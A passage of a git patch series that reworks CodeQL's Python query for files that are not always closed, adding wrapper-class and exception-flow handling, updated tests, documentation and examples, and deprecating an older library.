phi(f9_0, f9_1, f9_2) | open | | -| f9_4 = Pi(f9_2) [true] | closed | | -| f9_5 = MethodCallsiteRefinement(f9_4) | closed | | -| f9_6 = Pi(f9_3) [true] | closed | | -| f9_7 = Pi(f9_2) [false] | open | | -| f9_8 = phi(f9_5, f9_7) | open | exit | -| f10_0 = open() | open | | -| f10_1 = MethodCallsiteRefinement(f10_0) | open | | -| f10_2 = MethodCallsiteRefinement(f10_1) | open | | -| f10_3 = MethodCallsiteRefinement(f10_2) | closed | | -| f10_4 = phi(f10_0, f10_1, f10_2, f10_3) | open | | -| f10_5 = MethodCallsiteRefinement(f10_4) | closed | | -| f10_6 = phi(f10_3, f10_5) | closed | exit | -| f11_0 = open() | open | | -| f11_1 = MethodCallsiteRefinement(f11_0) | open | | -| f11_2 = MethodCallsiteRefinement(f11_1) | open | | -| f11_3 = MethodCallsiteRefinement(f11_2) | closed | | -| f11_4 = phi(f11_0, f11_1, f11_2, f11_3) | open | | -| f11_5 = MethodCallsiteRefinement(f11_4) | closed | | -| f11_6 = phi(f11_3, f11_5) | closed | exit | -| f12_0 = open() | open | | -| f12_1 = MethodCallsiteRefinement(f12_0) | open | | -| f12_2 = MethodCallsiteRefinement(f12_1) | open | | -| f12_3 = MethodCallsiteRefinement(f12_2) | closed | | -| f12_4 = phi(f12_0, f12_1, f12_2, f12_3) | open | | -| f12_5 = MethodCallsiteRefinement(f12_4) | closed | | -| f12_6 = phi(f12_3, f12_5) | closed | exit | -| f13_0 = open() | open | | -| f13_1 = MethodCallsiteRefinement(f13_0) | open | exit | -| f14_0 = opener_func2() | open | | -| f14_1 = MethodCallsiteRefinement(f14_0) | open | | -| f14_2 = MethodCallsiteRefinement(f14_1) | closed | exit | -| f15_0 = opener_func2() | open | | -| f15_1 = ArgumentRefinement(f15_0) | closed | exit | -| f16_0 = ScopeEntryDefinition | closed | | -| f16_1 = open() | open | | -| f16_2 = MethodCallsiteRefinement(f16_1) | open | | -| f16_3 = MethodCallsiteRefinement(f16_2) | closed | | -| f16_4 = phi(f16_0, f16_1, f16_2, f16_3) | open | | -| f16_5 = phi(f16_3, f16_4) | open | exit | -| f17_0 = open() | open | | -| f17_1 = MethodCallsiteRefinement(f17_0) | open | | -| f17_2 = MethodCallsiteRefinement(f17_1) | open | | -| f17_3 = MethodCallsiteRefinement(f17_2) | closed | | -| f17_4 = phi(f17_0, f17_1, f17_2, f17_3) | open | | -| f17_5 = MethodCallsiteRefinement(f17_4) | closed | | -| f17_6 = phi(f17_3, f17_5) | closed | exit | -| f18_0 = open() | closed | | -| f18_1 = MethodCallsiteRefinement(f18_0) | closed | exit | -| f20_0 = open() | open | | -| f20_1 = ArgumentRefinement(f20_0) | closed | exit | -| f21_0 = open() | open | | -| f21_1 = MethodCallsiteRefinement(f21_0) | open | | -| f21_2 = MethodCallsiteRefinement(f21_1) | closed | | -| f21_3 = phi(f21_1, f21_2) | open | | -| f21_4 = phi(f21_0, f21_1, f21_2) | open | | -| f21_5 = Pi(f21_3) [true] | open | | -| f21_6 = MethodCallsiteRefinement(f21_5) | closed | | -| f21_7 = Pi(f21_4) [true] | open | | -| f21_8 = Pi(f21_3) [false] | closed | | -| f21_9 = phi(f21_6, f21_8) | closed | exit | -| f22_0 = open() | open | | -| f22_1 = MethodCallsiteRefinement(f22_0) | open | | -| f22_2 = MethodCallsiteRefinement(f22_1) | closed | | -| f22_3 = phi(f22_1, f22_2) | open | | -| f22_4 = phi(f22_0, f22_1, f22_2) | open | | -| f22_5 = Pi(f22_3) [true] | closed | | -| f22_6 = MethodCallsiteRefinement(f22_5) | closed | | -| f22_7 = Pi(f22_4) [true] | closed | | -| f22_8 = Pi(f22_3) [false] | open | | -| f22_9 = phi(f22_6, f22_8) | open | exit | -| f_0 = FunctionExpr | closed | exit | -| file_0 = open() | open | | -| file_1 = open() | open | | -| file_2 = None | closed | | -| file_3 = phi(file_0, file_1, file_2) | open | exit | -| fp_0 = ParameterDefinition | closed | exit | diff --git a/python/ql/test/query-tests/Resources/Dataflow.ql b/python/ql/test/query-tests/Resources/Dataflow.ql deleted file mode 100644 index fad31d80ec1..00000000000 --- a/python/ql/test/query-tests/Resources/Dataflow.ql +++ /dev/null @@ -1,14 +0,0 @@ -import python -import Resources.FileOpen - -from EssaVariable v, EssaDefinition def, string open, string exit -where - def = v.getDefinition() and - v.getSourceVariable().getName().charAt(0) = "f" and - ( - var_is_open(v, _) and open = "open" - or - not var_is_open(v, _) and open = "closed" - ) and - if BaseFlow::reaches_exit(v) then exit = "exit" else exit = "" -select v.getRepresentation() + " = " + v.getDefinition().getRepresentation(), open, exit diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected deleted file mode 100644 index c0a6c413333..00000000000 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected +++ /dev/null @@ -1,9 +0,0 @@ -| resources_test.py:4:10:4:25 | open() | File may not be closed if an exception is raised. | -| resources_test.py:9:10:9:25 | open() | File is opened but is not closed. | -| resources_test.py:49:14:49:29 | open() | File is opened but is not closed. | -| resources_test.py:58:14:58:29 | open() | File is opened but is not closed. | -| resources_test.py:79:11:79:26 | open() | File may not be closed if an exception is raised. | -| resources_test.py:108:11:108:20 | open() | File is opened but is not closed. | -| resources_test.py:112:11:112:28 | opener_func2() | File may not be closed if an exception is raised. | -| resources_test.py:129:15:129:24 | open() | File is opened but is not closed. | -| resources_test.py:237:11:237:26 | open() | File is opened but is not closed. | diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref deleted file mode 100644 index 37e9a076680..00000000000 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref +++ /dev/null @@ -1 +0,0 @@ -Resources/FileNotAlwaysClosed.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Resources/resources_test.py b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py similarity index 89% rename from python/ql/test/query-tests/Resources/resources_test.py rename to python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py index 73fa88b4401..177c557d8b0 100644 --- a/python/ql/test/query-tests/Resources/resources_test.py +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py @@ -3,10 +3,10 @@ def not_close1(): f1 = open("filename") f1.write("Error could occur") - f1.close() + f1.close() # $ notAlwaysClosed def not_close2(): - f2 = open("filename") + f2 = open("filename") # $ notAlwaysClosed def closed3(): f3 = open("filename") @@ -46,7 +46,7 @@ def closed7(): def not_closed8(): f8 = None try: - f8 = open("filename") + f8 = open("filename") # $ notAlwaysClosed f8.write("Error could occur") finally: if f8 is None: @@ -55,7 +55,7 @@ def not_closed8(): def not_closed9(): f9 = None try: - f9 = open("filename") + f9 = open("filename") # $ notAlwaysClosed f9.write("Error could occur") finally: if not f9: @@ -76,7 +76,7 @@ def closed10(): #Not closed by handling the wrong exception def not_closed11(): - f11 = open("filename") + f11 = open("filename") # $ notAlwaysClosed try: f11.write("IOError could occur") f11.write("IOError could occur") @@ -84,11 +84,11 @@ def not_closed11(): except AttributeError: f11.close() -def doesnt_raise(): +def doesnt_raise(*args): pass def mostly_closed12(): - f12 = open("filename") + f12 = open("filename") # $ SPURIOUS:notAlwaysClosed try: f12.write("IOError could occur") f12.write("IOError could occur") @@ -105,11 +105,11 @@ def opener_func2(name): return t1 def not_closed13(name): - f13 = open(name) + f13 = open(name) # $ notAlwaysClosed f13.write("Hello") def may_not_be_closed14(name): - f14 = opener_func2(name) + f14 = opener_func2(name) # $ notAlwaysClosed f14.write("Hello") f14.close() @@ -126,7 +126,7 @@ def closed15(): def may_not_be_closed16(name): try: - f16 = open(name) + f16 = open(name) # $ notAlwaysClosed f16.write("Hello") f16.close() except IOError: @@ -138,7 +138,7 @@ def may_raise(): #Not handling all exceptions, but we'll tolerate the false negative def not_closed17(): - f17 = open("filename") + f17 = open("filename") # $ notAlwaysClosed try: f17.write("IOError could occur") f17.write("IOError could occur") @@ -234,7 +234,7 @@ def closed21(path): def not_closed22(path): - f22 = open(path, "wb") + f22 = open(path, "wb") # $ notAlwaysClosed try: f22.write(b"foo") may_raise() diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.expected b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql new file mode 100644 index 00000000000..501c4a0f309 --- /dev/null +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql @@ -0,0 +1,21 @@ +import python +import Resources.FileNotAlwaysClosedQuery +import utils.test.InlineExpectationsTest + +module MethodArgTest implements TestSig { + string getARelevantTag() { result = "notAlwaysClosed" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + exists(DataFlow::CfgNode f | + element = f.toString() and + location = f.getLocation() and + value = "" and + ( + fileNotAlwaysClosed(f) and + tag = "notAlwaysClosed" + ) + ) + } +} + +import MakeTest \ No newline at end of file From c8fc56560d94874c249958cdcd54c5607698f83c Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Thu, 6 Mar 2025 16:21:37 +0000 Subject: [PATCH 032/282] Check for wrapper classes --- .../Resources/FileNotAlwaysClosedQuery.qll | 24 +++++++++++++++---- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index f75f61feea3..c6a9e0841ef 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -1,22 +1,36 @@ /** Definitions for reasoning about whether files are closed. */ import python -//import semmle.python.dataflow.DataFlow +import semmle.python.dataflow.new.internal.DataFlowDispatch import semmle.python.ApiGraphs abstract class FileOpen extends DataFlow::CfgNode { } class FileOpenCall extends FileOpen { - FileOpenCall() { this = API::builtin("open").getACall() } + FileOpenCall() { this = [API::builtin("open").getACall()] } +} + +class FileWrapperClassCall extends FileOpen, DataFlow::CallCfgNode { + FileOpen wrapped; + + FileWrapperClassCall() { + wrapped = this.getArg(_).getALocalSource() and + this.getFunction() = classTracker(_) + } + + FileOpen getWrapped() { result = wrapped } } -// todo: type tracking to find wrapping funcs abstract class FileClose extends DataFlow::CfgNode { } class FileCloseCall extends FileClose { FileCloseCall() { exists(DataFlow::MethodCallNode mc | mc.calls(this, "close")) } } +class OsCloseCall extends FileClose { + OsCloseCall() { this = API::moduleImport("os").getMember("close").getACall().getArg(0) } +} + class WithStatement extends FileClose { WithStatement() { exists(With w | this.asExpr() = w.getContextExpr()) } } @@ -34,6 +48,6 @@ predicate fileIsStoredInField(FileOpen fo) { predicate fileNotAlwaysClosed(FileOpen fo) { not fileIsClosed(fo) and not fileIsReturned(fo) and - not fileIsStoredInField(fo) - // TODO: exception cases + not fileIsStoredInField(fo) and + not exists(FileWrapperClassCall fwc | fo = fwc.getWrapped()) } From f750e22d91aee02b9ed740204e4b56961308cb83 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Mon, 10 Mar 2025 11:12:04 +0000 Subject: [PATCH 033/282] Add case for exception flow --- .../ql/src/Resources/FileNotAlwaysClosed.ql | 66 ++--------- .../Resources/FileNotAlwaysClosedQuery.qll | 103 ++++++++++++++++-- .../FileNotAlwaysClosed/resources_test.py | 29 ++--- .../Resources/FileNotAlwaysClosed/test.ql | 20 ++-- 4 files changed, 129 insertions(+), 89 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql index f0476499575..7a96c7affc4 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.ql +++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql @@ -13,63 +13,13 @@ */ import python -// import FileOpen import FileNotAlwaysClosedQuery -// /** -// * Whether resource is opened and closed in in a matched pair of methods, -// * either `__enter__` and `__exit__` or `__init__` and `__del__` -// */ -// predicate opened_in_enter_closed_in_exit(ControlFlowNode open) { -// file_not_closed_at_scope_exit(open) and -// exists(FunctionValue entry, FunctionValue exit | -// open.getScope() = entry.getScope() and -// exists(ClassValue cls | -// cls.declaredAttribute("__enter__") = entry and cls.declaredAttribute("__exit__") = exit -// or -// cls.declaredAttribute("__init__") = entry and cls.declaredAttribute("__del__") = exit -// ) and -// exists(AttrNode attr_open, AttrNode attrclose | -// attr_open.getScope() = entry.getScope() and -// attrclose.getScope() = exit.getScope() and -// expr_is_open(attr_open.(DefinitionNode).getValue(), open) and -// attr_open.getName() = attrclose.getName() and -// close_method_call(_, attrclose) -// ) -// ) -// } -// predicate file_not_closed_at_scope_exit(ControlFlowNode open) { -// exists(EssaVariable v | -// BaseFlow::reaches_exit(v) and -// var_is_open(v, open) and -// not file_is_returned(v, open) -// ) -// or -// call_to_open(open) and -// not exists(AssignmentDefinition def | def.getValue() = open) and -// not exists(Return r | r.getValue() = open.getNode()) -// } -// predicate file_not_closed_at_exception_exit(ControlFlowNode open, ControlFlowNode exit) { -// exists(EssaVariable v | -// exit.(RaisingNode).viableExceptionalExit(_, _) and -// not closes_arg(exit, v.getSourceVariable()) and -// not close_method_call(exit, v.getAUse().(NameNode)) and -// var_is_open(v, open) and -// v.getAUse() = exit.getAChild*() -// ) -// } -/* Check to see if a file is opened but not closed or returned */ -// from ControlFlowNode defn, string message -// where -// not opened_in_enter_closed_in_exit(defn) and -// ( -// file_not_closed_at_scope_exit(defn) and message = "File is opened but is not closed." -// or -// not file_not_closed_at_scope_exit(defn) and -// file_not_closed_at_exception_exit(defn, _) and -// message = "File may not be closed if an exception is raised." -// ) -// select defn.getNode(), message -from FileOpen fo -where fileNotAlwaysClosed(fo) -select fo, "File is opened but is not closed." +from FileOpen fo, string msg +where + fileNotClosed(fo) and + msg = "File is opened but is not closed." + or + fileMayNotBeClosedOnException(fo, _) and + msg = "File may not be closed if an exception is raised" +select fo.getLocalSource(), msg diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index c6a9e0841ef..1bfc40407d6 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -4,50 +4,133 @@ import python import semmle.python.dataflow.new.internal.DataFlowDispatch import semmle.python.ApiGraphs -abstract class FileOpen extends DataFlow::CfgNode { } +/** A CFG node where a file is opened. */ +abstract class FileOpenSource extends DataFlow::CfgNode { } -class FileOpenCall extends FileOpen { - FileOpenCall() { this = [API::builtin("open").getACall()] } +/** A call to the builtin `open` or `os.open`. */ +class FileOpenCall extends FileOpenSource { + FileOpenCall() { + this = [API::builtin("open").getACall(), API::moduleImport("os").getMember("open").getACall()] + } } -class FileWrapperClassCall extends FileOpen, DataFlow::CallCfgNode { +private DataFlow::TypeTrackingNode fileOpenInstance(DataFlow::TypeTracker t) { + t.start() and + result instanceof FileOpenSource + or + exists(DataFlow::TypeTracker t2 | result = fileOpenInstance(t2).track(t2, t)) +} + +/** A call that returns an instance of an open file object. */ +class FileOpen extends DataFlow::CallCfgNode { + FileOpen() { fileOpenInstance(DataFlow::TypeTracker::end()).flowsTo(this) } + + /** Gets the local source of this file object, through any wrapper calls. */ + FileOpen getLocalSource() { + if this instanceof FileWrapperCall + then result = this.(FileWrapperCall).getWrapped().getLocalSource() + else result = this + } +} + +/** A call that may wrap a file object in a wrapper class or `os.fdopen`. */ +class FileWrapperCall extends FileOpenSource, DataFlow::CallCfgNode { FileOpen wrapped; - FileWrapperClassCall() { + FileWrapperCall() { wrapped = this.getArg(_).getALocalSource() and this.getFunction() = classTracker(_) + or + wrapped = this.getArg(0) and + this = API::moduleImport("os").getMember("fdopen").getACall() } + /** Gets the file that this call wraps. */ FileOpen getWrapped() { result = wrapped } } -abstract class FileClose extends DataFlow::CfgNode { } +/** A node where a file is closed. */ +abstract class FileClose extends DataFlow::CfgNode { + /** Holds if this file close will occur if an exception is thrown at `e`. */ + predicate guardsExceptions(Expr e) { + exists(Try try | + e = try.getAStmt().getAChildNode*() and + ( + this.asExpr() = try.getAHandler().getAChildNode*() + or + this.asExpr() = try.getAFinalstmt().getAChildNode*() + ) + ) + } +} +/** A call to the `.close()` method of a file object. */ class FileCloseCall extends FileClose { FileCloseCall() { exists(DataFlow::MethodCallNode mc | mc.calls(this, "close")) } } +/** A call to `os.close`. */ class OsCloseCall extends FileClose { OsCloseCall() { this = API::moduleImport("os").getMember("close").getACall().getArg(0) } } +/** A `with` statement. */ class WithStatement extends FileClose { - WithStatement() { exists(With w | this.asExpr() = w.getContextExpr()) } + With w; + + WithStatement() { this.asExpr() = w.getContextExpr() } + + override predicate guardsExceptions(Expr e) { + super.guardsExceptions(e) + or + e = w.getAStmt().getAChildNode*() + } } +/** Holds if an exception may be raised at `node` if it is a file object. */ +private predicate mayRaiseWithFile(DataFlow::CfgNode node) { + // Currently just consider any method called on `node`; e.g. `file.write()`; as potentially raising an exception + exists(DataFlow::MethodCallNode mc | node = mc.getObject()) and + not node instanceof FileOpen and + not node instanceof FileClose +} + +/** Holds if the file opened at `fo` is closed. */ predicate fileIsClosed(FileOpen fo) { exists(FileClose fc | DataFlow::localFlow(fo, fc)) } +/** Holds if the file opened at `fo` is returned to the caller. This makes the caller responsible for closing the file. */ predicate fileIsReturned(FileOpen fo) { - exists(Return ret | DataFlow::localFlow(fo, DataFlow::exprNode(ret.getValue()))) + exists(Return ret, Expr retVal | + ( + retVal = ret.getValue() + or + retVal = ret.getValue().(List).getAnElt() + or + retVal = ret.getValue().(Tuple).getAnElt() + ) and + DataFlow::localFlow(fo, DataFlow::exprNode(retVal)) + ) } +/** Holds if the file opened at `fo` is stored in a field. We assume that another method is then responsible for closing the file. */ predicate fileIsStoredInField(FileOpen fo) { exists(DataFlow::AttrWrite aw | DataFlow::localFlow(fo, aw.getValue())) } -predicate fileNotAlwaysClosed(FileOpen fo) { +/** Holds if the file opened at `fo` is not closed, and is expected to be closed. */ +predicate fileNotClosed(FileOpen fo) { not fileIsClosed(fo) and not fileIsReturned(fo) and not fileIsStoredInField(fo) and - not exists(FileWrapperClassCall fwc | fo = fwc.getWrapped()) + not exists(FileWrapperCall fwc | fo = fwc.getWrapped()) +} + +predicate fileMayNotBeClosedOnException(FileOpen fo, DataFlow::Node raises) { + fileIsClosed(fo) and + mayRaiseWithFile(raises) and + DataFlow::localFlow(fo, raises) and + not exists(FileClose fc | + DataFlow::localFlow(fo, fc) and + fc.guardsExceptions(raises.asExpr()) + ) } diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py index 177c557d8b0..ddc89a8fb7b 100644 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py @@ -1,12 +1,12 @@ #File not always closed def not_close1(): - f1 = open("filename") + f1 = open("filename") # $ notClosedOnException f1.write("Error could occur") - f1.close() # $ notAlwaysClosed + f1.close() def not_close2(): - f2 = open("filename") # $ notAlwaysClosed + f2 = open("filename") # $ notClosed def closed3(): f3 = open("filename") @@ -46,7 +46,7 @@ def closed7(): def not_closed8(): f8 = None try: - f8 = open("filename") # $ notAlwaysClosed + f8 = open("filename") # $ MISSING:notClosedOnException f8.write("Error could occur") finally: if f8 is None: @@ -55,7 +55,7 @@ def not_closed8(): def not_closed9(): f9 = None try: - f9 = open("filename") # $ notAlwaysClosed + f9 = open("filename") # $ MISSING:notAlwaysClosed f9.write("Error could occur") finally: if not f9: @@ -76,7 +76,7 @@ def closed10(): #Not closed by handling the wrong exception def not_closed11(): - f11 = open("filename") # $ notAlwaysClosed + f11 = open("filename") # $ MISSING:notAlwaysClosed try: f11.write("IOError could occur") f11.write("IOError could occur") @@ -88,7 +88,7 @@ def doesnt_raise(*args): pass def mostly_closed12(): - f12 = open("filename") # $ SPURIOUS:notAlwaysClosed + f12 = open("filename") try: f12.write("IOError could occur") f12.write("IOError could occur") @@ -105,11 +105,11 @@ def opener_func2(name): return t1 def not_closed13(name): - f13 = open(name) # $ notAlwaysClosed + f13 = open(name) # $ notClosed f13.write("Hello") def may_not_be_closed14(name): - f14 = opener_func2(name) # $ notAlwaysClosed + f14 = opener_func2(name) # $ notClosedOnException f14.write("Hello") f14.close() @@ -120,13 +120,13 @@ def closer2(t3): closer1(t3) def closed15(): - f15 = opener_func2() + f15 = opener_func2() # $ SPURIOUS:notClosed closer2(f15) def may_not_be_closed16(name): try: - f16 = open(name) # $ notAlwaysClosed + f16 = open(name) # $ notClosedOnException f16.write("Hello") f16.close() except IOError: @@ -138,7 +138,7 @@ def may_raise(): #Not handling all exceptions, but we'll tolerate the false negative def not_closed17(): - f17 = open("filename") # $ notAlwaysClosed + f17 = open("filename") # $ MISSING:notClosedOnException try: f17.write("IOError could occur") f17.write("IOError could occur") @@ -234,7 +234,7 @@ def closed21(path): def not_closed22(path): - f22 = open(path, "wb") # $ notAlwaysClosed + f22 = open(path, "wb") # $ MISSING:notClosedOnException try: f22.write(b"foo") may_raise() @@ -244,3 +244,6 @@ def not_closed22(path): if f22.closed: # Wrong sense f22.close() +def not_closed23(path): + f23 = open(path, "w") # $ notClosed + wr = FileWrapper(f23) \ No newline at end of file diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql index 501c4a0f309..3abba197373 100644 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql @@ -1,21 +1,25 @@ -import python +import python import Resources.FileNotAlwaysClosedQuery import utils.test.InlineExpectationsTest module MethodArgTest implements TestSig { - string getARelevantTag() { result = "notAlwaysClosed" } + string getARelevantTag() { result = ["notClosed", "notClosedOnException"] } predicate hasActualResult(Location location, string element, string tag, string value) { - exists(DataFlow::CfgNode f | - element = f.toString() and - location = f.getLocation() and + exists(DataFlow::CfgNode el, FileOpen fo | + el = fo.getLocalSource() and + element = el.toString() and + location = el.getLocation() and value = "" and ( - fileNotAlwaysClosed(f) and - tag = "notAlwaysClosed" + fileNotClosed(fo) and + tag = "notClosed" + or + fileMayNotBeClosedOnException(fo, _) and + tag = "notClosedOnException" ) ) } } -import MakeTest \ No newline at end of file +import MakeTest From f8a0b1c5f94bfc78011f71b595dc56dfda674f0d Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Mon, 10 Mar 2025 13:14:44 +0000 Subject: [PATCH 034/282] Update docs, precision, and deprecate old library --- .../ql/src/Resources/FileNotAlwaysClosed.py | 15 ------------ .../src/Resources/FileNotAlwaysClosed.qhelp | 23 ++++++++----------- .../ql/src/Resources/FileNotAlwaysClosed.ql | 6 ++--- python/ql/src/Resources/FileOpen.qll | 6 ++++- .../Resources/examples/FileNotAlwaysClosed.py | 17 ++++++++++++++ 5 files changed, 34 insertions(+), 33 deletions(-) delete mode 100644 python/ql/src/Resources/FileNotAlwaysClosed.py create mode 100644 python/ql/src/Resources/examples/FileNotAlwaysClosed.py diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.py b/python/ql/src/Resources/FileNotAlwaysClosed.py deleted file mode 100644 index 5f5f10345c7..00000000000 --- a/python/ql/src/Resources/FileNotAlwaysClosed.py +++ /dev/null @@ -1,15 +0,0 @@ -f = open("filename") - ... # Actions to perform on file -f.close() -# File only closed if actions are completed successfully - -with open("filename") as f: - ...# Actions to perform on file -# File always closed - -f = open("filename") -try: - ... # Actions to perform on file -finally: - f.close() -# File always closed diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp index 71073caa47b..5c3e0f98a0e 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp +++ b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp @@ -4,32 +4,27 @@ -

If a file is opened then it should always be closed again, even if an -exception is raised. -Failing to ensure that all files are closed may result in failure due to too -many open files.

+

When a file is opened, it should always be closed. Failure to close files could result in loss of data or resource leaks.

-

Ensure that if you open a file it is always closed on exiting the method. -Wrap the code between the open() and close() -functions in a with statement or use a try...finally -statement. Using a with statement is preferred as it is shorter -and more readable.

+

Ensure that opened files are always closed, including when an exception could be raised. +The best practice is to use a with statement to automatically clean up resources. +Otherwise, ensure that .close() is called in a try...except or try...finally +block to handle any possible exceptions. +

-

The following code shows examples of different ways of closing a file. In the first example, the -file is closed only if the method is exited successfully. In the other examples, the file is always -closed on exiting the method.

+

In the following examples, in the case marked BAD, the file may not be closed if an exception is raised. In the cases marked GOOD, the file is always closed.

- +
- +
  • Python Documentation: Reading and writing files.
  • Python Language Reference: The with statement, The try statement.
  • Python PEP 343: The "with" Statement.
  • diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql index 7a96c7affc4..2f40ec3eb5f 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.ql +++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql @@ -1,6 +1,6 @@ /** * @name File is not always closed - * @description Opening a file without ensuring that it is always closed may cause resource leaks. + * @description Opening a file without ensuring that it is always closed may cause data loss or resource leaks. * @kind problem * @tags efficiency * correctness @@ -8,7 +8,7 @@ * external/cwe/cwe-772 * @problem.severity warning * @sub-severity high - * @precision medium + * @precision high * @id py/file-not-closed */ @@ -21,5 +21,5 @@ where msg = "File is opened but is not closed." or fileMayNotBeClosedOnException(fo, _) and - msg = "File may not be closed if an exception is raised" + msg = "File may not be closed if an exception is raised." select fo.getLocalSource(), msg diff --git a/python/ql/src/Resources/FileOpen.qll b/python/ql/src/Resources/FileOpen.qll index 8fc45306353..dd952e732d4 100644 --- a/python/ql/src/Resources/FileOpen.qll +++ b/python/ql/src/Resources/FileOpen.qll @@ -1,4 +1,8 @@ -/** Contains predicates concerning when and where files are opened and closed. */ +/** + * DEPRECATED: Use FileNotAlwaysClosedQuery instead. + * Contains predicates concerning when and where files are opened and closed. + */ +deprecated module; import python import semmle.python.pointsto.Filters diff --git a/python/ql/src/Resources/examples/FileNotAlwaysClosed.py b/python/ql/src/Resources/examples/FileNotAlwaysClosed.py new file mode 100644 index 00000000000..cd5bdb2118a --- /dev/null +++ b/python/ql/src/Resources/examples/FileNotAlwaysClosed.py @@ -0,0 +1,17 @@ +def bad(): + f = open("filename", "w") + f.write("could raise exception") # BAD: This call could raise an exception, leading to the file not being closed. + f.close() + + +def good1(): + with open("filename", "w") as f: + f.write("always closed") # GOOD: The `with` statement ensures the file is always closed. + +def good2(): + f = open("filename", "w") + try: + f.write("always closed") + finally: + f.close() # GOOD: The `finally` block always ensures the file is closed. + From b2acfbcf8722fddbf4fa447ae665dceb2e67e324 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Thu, 20 Mar 2025 09:52:56 +0000 Subject: [PATCH 035/282] Simplify handling of wrapper classes and exception flow + improve qldoc and annotate tests. --- .../src/Resources/FileNotAlwaysClosed.qhelp | 9 ++-- .../ql/src/Resources/FileNotAlwaysClosed.ql | 2 +- .../Resources/FileNotAlwaysClosedQuery.qll | 45 ++++++++++--------- .../FileNotAlwaysClosed/resources_test.py | 14 +++--- .../Resources/FileNotAlwaysClosed/test.ql | 2 +- 5 files changed, 38 insertions(+), 34 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp index 5c3e0f98a0e..f37c5a4cbc4 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp +++ b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp @@ -4,13 +4,16 @@ -

    When a file is opened, it should always be closed. Failure to close files could result in loss of data or resource leaks.

    - +

    When a file is opened, it should always be closed. +

    +

    A file opened for writing that is not closed when the application exits may result in data loss, where not all of the data written may be saved to the file. +A file opened for reading or writing that is not closed may also use up file descriptors, which is a resource leak that in long running applications could lead to a failure to open additional files. +

    Ensure that opened files are always closed, including when an exception could be raised. -The best practice is to use a with statement to automatically clean up resources. +The best practice is often to use a with statement to automatically clean up resources. Otherwise, ensure that .close() is called in a try...except or try...finally block to handle any possible exceptions.

    diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql index 2f40ec3eb5f..4bfba62b213 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.ql +++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql @@ -22,4 +22,4 @@ where or fileMayNotBeClosedOnException(fo, _) and msg = "File may not be closed if an exception is raised." -select fo.getLocalSource(), msg +select fo, msg diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index 1bfc40407d6..11473edde04 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -24,17 +24,10 @@ private DataFlow::TypeTrackingNode fileOpenInstance(DataFlow::TypeTracker t) { /** A call that returns an instance of an open file object. */ class FileOpen extends DataFlow::CallCfgNode { FileOpen() { fileOpenInstance(DataFlow::TypeTracker::end()).flowsTo(this) } - - /** Gets the local source of this file object, through any wrapper calls. */ - FileOpen getLocalSource() { - if this instanceof FileWrapperCall - then result = this.(FileWrapperCall).getWrapped().getLocalSource() 